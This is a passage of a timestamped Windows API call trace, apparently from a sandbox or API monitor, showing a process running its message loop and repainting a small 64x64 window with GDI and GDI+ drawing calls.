0xc000 [0128.729] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0128.729] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0128.729] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0128.729] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0128.729] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0128.729] WaitMessage () returned 1 [0128.876] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0128.876] IsWindowUnicode (hWnd=0x2031e) returned 1 [0128.876] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0128.876] TranslateMessage (lpMsg=0x15e910) returned 0 [0128.876] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0128.876] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0128.876] GetCurrentThreadId () returned 0xec0 [0128.876] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0128.877] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0128.877] IsWindowUnicode (hWnd=0x2031e) returned 1 [0128.877] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0128.877] TranslateMessage (lpMsg=0x15e910) returned 0 [0128.877] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0128.877] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0128.877] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0128.877] CreateCompatibleDC (hdc=0x1010b9d) returned 0x65010b89 [0128.877] SelectObject (hdc=0x65010b89, h=0x1a05067e) returned 0x185000f [0128.877] GdipCreateFromHDC (hdc=0x65010b89, graphics=0x15daf0) returned 0x0 [0128.877] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0128.878] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0128.878] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0128.878] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0128.878] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0128.878] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e935d90 [0128.878] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e935d90) returned 0x0 [0128.879] LocalFree (hMem=0x1e935d90) returned 0x0 [0128.879] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.879] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0128.879] GdipCreateRegion (region=0x15dc20) returned 0x0 [0128.879] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0128.879] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0128.879] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0128.879] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0128.880] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0128.880] GetSystemMetrics (nIndex=42) returned 0 [0128.880] CoTaskMemAlloc (cb=0x6) returned 0x1e91eda0 [0128.880] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eda0, nMaxCount=1 | out: lpString="") returned 0 [0128.880] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eda0) returned 0x0 [0128.880] CoTaskMemFree (pv=0x1e91eda0) [0128.880] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0128.880] GdipCreateRegion (region=0x15d710) returned 0x0 [0128.880] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0128.880] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0128.880] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0128.880] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0128.880] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e935d90 [0128.880] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e935d90) returned 0x0 [0128.881] LocalFree (hMem=0x1e935d90) returned 0x0 [0128.881] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0128.881] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e935d90 [0128.881] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e935d90) returned 0x0 [0128.881] LocalFree (hMem=0x1e935d90) returned 0x0 [0128.882] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.882] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0128.882] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0128.882] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0128.882] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0128.882] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.882] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0128.882] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0128.882] GetCurrentObject (hdc=0x65010b89, type=0x1) returned 0x1b00017 [0128.882] GetCurrentObject (hdc=0x65010b89, type=0x2) returned 0x1900010 [0128.882] GetCurrentObject (hdc=0x65010b89, type=0x7) returned 0x1a05067e [0128.882] GetCurrentObject (hdc=0x65010b89, type=0x6) returned 0x18a002e [0128.882] SaveDC (hdc=0x65010b89) returned 1 [0128.883] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4b040b8a [0128.883] GetClipRgn (hdc=0x65010b89, hrgn=0x4b040b8a) returned 0 [0128.883] SelectClipRgn (hdc=0x65010b89, hrgn=0x7b0407c3) returned 2 [0128.883] DeleteObject (ho=0x4b040b8a) returned 1 [0128.883] DeleteObject (ho=0x7b0407c3) returned 1 [0128.883] OffsetViewportOrgEx (in: hdc=0x65010b89, x=0, y=0, lppt=0x27b8538 | out: lppt=0x27b8538) returned 1 [0128.883] GetNearestColor (hdc=0x65010b89, color=0xffffff) returned 0xffffff [0128.883] CreateSolidBrush (color=0xffffff) returned 0x53100190 [0128.883] FillRect (hDC=0x65010b89, lprc=0x15d7c0, hbr=0x53100190) returned 1 [0128.883] DeleteObject (ho=0x53100190) returned 1 [0128.883] RestoreDC (hdc=0x65010b89, nSavedDC=-1) returned 1 [0128.883] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.883] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x65010b89) returned 0x0 [0128.883] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd400dbd) returned 0x0 [0128.884] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.884] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0128.884] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0128.884] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0128.884] GetSystemMetrics (nIndex=42) returned 0 [0128.884] CoTaskMemAlloc (cb=0x6) returned 0x1e91eda0 [0128.884] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eda0, nMaxCount=1 | out: lpString="") returned 0 [0128.884] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eda0) returned 0x0 [0128.884] CoTaskMemFree (pv=0x1e91eda0) [0128.884] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1c) returned 0x0 [0128.886] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0128.886] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0128.886] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0128.886] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0128.886] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x65010b89, x1=0, y1=0, rop=0xcc0020) returned 1 [0128.887] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.887] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x65010b89) returned 0x0 [0128.887] SelectObject (hdc=0x65010b89, h=0x185000f) returned 0x1a05067e [0128.887] DeleteDC (hdc=0x65010b89) returned 1 [0128.887] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.887] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0128.887] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0128.887] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0128.887] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0128.887] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0128.887] WaitMessage () returned 1 [0128.965] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0128.965] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0128.965] IsWindowUnicode (hWnd=0x20312) returned 1 [0128.966] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0128.966] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0128.966] SetCursor (hCursor=0x10003) returned 0x10003 [0128.966] TranslateMessage (lpMsg=0x15e910) returned 0 [0128.966] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0128.966] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x90005b) returned 0x0 [0128.966] GetKeyState (nVirtKey=1) returned 0 [0128.966] GetKeyState (nVirtKey=2) returned 0 [0128.966] GetKeyState (nVirtKey=4) returned 0 [0128.966] GetKeyState (nVirtKey=5) returned 0 [0128.966] GetKeyState (nVirtKey=6) returned 0 [0128.967] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0128.967] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0128.967] WaitMessage () returned 1 [0129.013] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.013] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0129.014] IsWindowUnicode (hWnd=0x20312) returned 1 [0129.014] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.015] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0129.025] SetCursor (hCursor=0x10003) returned 0x10003 [0129.025] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.025] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0129.026] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x90005b) returned 0x0 [0129.026] GetKeyState (nVirtKey=1) returned 0 [0129.026] GetKeyState (nVirtKey=2) returned 0 [0129.026] GetKeyState (nVirtKey=4) returned 0 [0129.026] GetKeyState (nVirtKey=5) returned 0 [0129.026] GetKeyState (nVirtKey=6) returned 0 [0129.026] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.026] IsWindowUnicode (hWnd=0x2031e) returned 1 [0129.026] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.026] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.026] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0129.026] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0129.026] GetCurrentThreadId () returned 0xec0 [0129.026] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0129.026] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.026] IsWindowUnicode (hWnd=0x2031e) returned 1 [0129.027] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.027] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.027] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0129.027] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0129.027] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0129.027] CreateCompatibleDC (hdc=0x3010b83) returned 0x16010b77 [0129.027] SelectObject (hdc=0x16010b77, h=0x1a05067e) returned 0x185000f [0129.027] GdipCreateFromHDC (hdc=0x16010b77, graphics=0x15daf0) returned 0x0 [0129.027] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0129.027] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0129.027] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0129.027] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0129.028] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0129.028] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e9358d0 [0129.028] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e9358d0) returned 0x0 [0129.028] LocalFree (hMem=0x1e9358d0) returned 0x0 [0129.028] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.029] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0129.029] GdipCreateRegion (region=0x15dc20) returned 0x0 [0129.029] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0129.029] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0129.029] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0129.029] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0129.029] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0129.029] GetSystemMetrics (nIndex=42) returned 0 [0129.029] CoTaskMemAlloc (cb=0x6) returned 0x1e91ed90 [0129.029] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91ed90, nMaxCount=1 | out: lpString="") returned 0 [0129.029] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91ed90) returned 0x0 [0129.029] CoTaskMemFree (pv=0x1e91ed90) [0129.030] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0129.030] GdipCreateRegion (region=0x15d710) returned 0x0 [0129.030] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0129.030] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0129.030] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0129.030] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0129.030] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e9358d0 [0129.030] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e9358d0) returned 0x0 [0129.031] LocalFree (hMem=0x1e9358d0) returned 0x0 [0129.031] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0129.031] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e9358d0 [0129.031] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e9358d0) returned 0x0 [0129.032] LocalFree (hMem=0x1e9358d0) returned 0x0 [0129.032] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.032] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0129.032] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0129.033] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0129.033] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0129.033] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.033] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0129.033] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0129.033] GetCurrentObject (hdc=0x16010b77, type=0x1) returned 0x1b00017 [0129.033] GetCurrentObject (hdc=0x16010b77, type=0x2) returned 0x1900010 [0129.033] GetCurrentObject (hdc=0x16010b77, type=0x7) returned 0x1a05067e [0129.033] GetCurrentObject (hdc=0x16010b77, type=0x6) returned 0x18a002e [0129.033] SaveDC (hdc=0x16010b77) returned 1 [0129.034] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x7c0407c3 [0129.034] GetClipRgn (hdc=0x16010b77, hrgn=0x7c0407c3) returned 0 [0129.034] SelectClipRgn (hdc=0x16010b77, hrgn=0x4c040b8a) returned 2 [0129.034] DeleteObject (ho=0x7c0407c3) returned 1 [0129.034] DeleteObject (ho=0x4c040b8a) returned 1 [0129.034] OffsetViewportOrgEx (in: hdc=0x16010b77, x=0, y=0, lppt=0x27ba120 | out: lppt=0x27ba120) returned 1 [0129.035] GetNearestColor (hdc=0x16010b77, color=0xffffff) returned 0xffffff [0129.035] CreateSolidBrush (color=0xffffff) returned 0x54100190 [0129.035] FillRect (hDC=0x16010b77, lprc=0x15d7c0, hbr=0x54100190) returned 1 [0129.035] DeleteObject (ho=0x54100190) returned 1 [0129.035] RestoreDC (hdc=0x16010b77, nSavedDC=-1) returned 1 [0129.035] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.035] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x16010b77) returned 0x0 [0129.035] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd3e0dbd) returned 0x0 [0129.035] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.035] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0129.036] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0129.036] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0129.036] GetSystemMetrics (nIndex=42) returned 0 [0129.036] CoTaskMemAlloc (cb=0x6) returned 0x1e91ed90 [0129.036] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91ed90, nMaxCount=1 | out: lpString="") returned 0 [0129.036] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91ed90) returned 0x0 [0129.036] CoTaskMemFree (pv=0x1e91ed90) [0129.036] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0129.036] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0129.036] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0129.036] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0129.037] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x16010b77, x1=0, y1=0, rop=0xcc0020) returned 1 [0129.037] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.037] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x16010b77) returned 0x0 [0129.037] SelectObject (hdc=0x16010b77, h=0x185000f) returned 0x1a05067e [0129.037] DeleteDC (hdc=0x16010b77) returned 1 [0129.037] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.037] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0129.037] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0129.037] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0129.037] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.037] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.037] WaitMessage () returned 1 [0129.187] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.187] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0129.187] IsWindowUnicode (hWnd=0x20312) returned 1 [0129.188] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.188] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0129.188] SetCursor (hCursor=0x10003) returned 0x10003 [0129.188] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.188] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0129.188] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x90005b) returned 0x0 [0129.188] GetKeyState (nVirtKey=1) returned 0 [0129.188] GetKeyState (nVirtKey=2) returned 0 [0129.188] GetKeyState (nVirtKey=4) returned 0 [0129.188] GetKeyState (nVirtKey=5) returned 0 [0129.188] GetKeyState (nVirtKey=6) returned 0 [0129.188] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.189] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.189] WaitMessage () returned 1 [0129.202] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.202] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0129.202] IsWindowUnicode (hWnd=0x20312) returned 1 [0129.202] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.202] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0129.202] SetCursor (hCursor=0x10003) returned 0x10003 [0129.202] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.202] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0129.202] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x90005b) returned 0x0 [0129.202] GetKeyState (nVirtKey=1) returned 0 [0129.202] GetKeyState (nVirtKey=2) returned 0 [0129.202] GetKeyState (nVirtKey=4) returned 0 [0129.202] GetKeyState (nVirtKey=5) returned 0 [0129.203] GetKeyState (nVirtKey=6) returned 0 [0129.203] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.203] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.203] WaitMessage () returned 1 [0129.214] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.214] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0129.214] IsWindowUnicode (hWnd=0x20312) returned 1 [0129.214] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.214] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0129.214] SetCursor (hCursor=0x10003) returned 0x10003 [0129.214] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.214] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0129.214] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x90005b) returned 0x0 [0129.214] GetKeyState (nVirtKey=1) returned 0 [0129.214] GetKeyState (nVirtKey=2) returned 0 [0129.214] GetKeyState (nVirtKey=4) returned 0 [0129.214] GetKeyState (nVirtKey=5) returned 0 [0129.215] GetKeyState (nVirtKey=6) returned 0 [0129.215] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.215] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.215] WaitMessage () returned 1 [0129.224] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.224] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0129.224] IsWindowUnicode (hWnd=0x20312) returned 1 [0129.224] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.224] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, 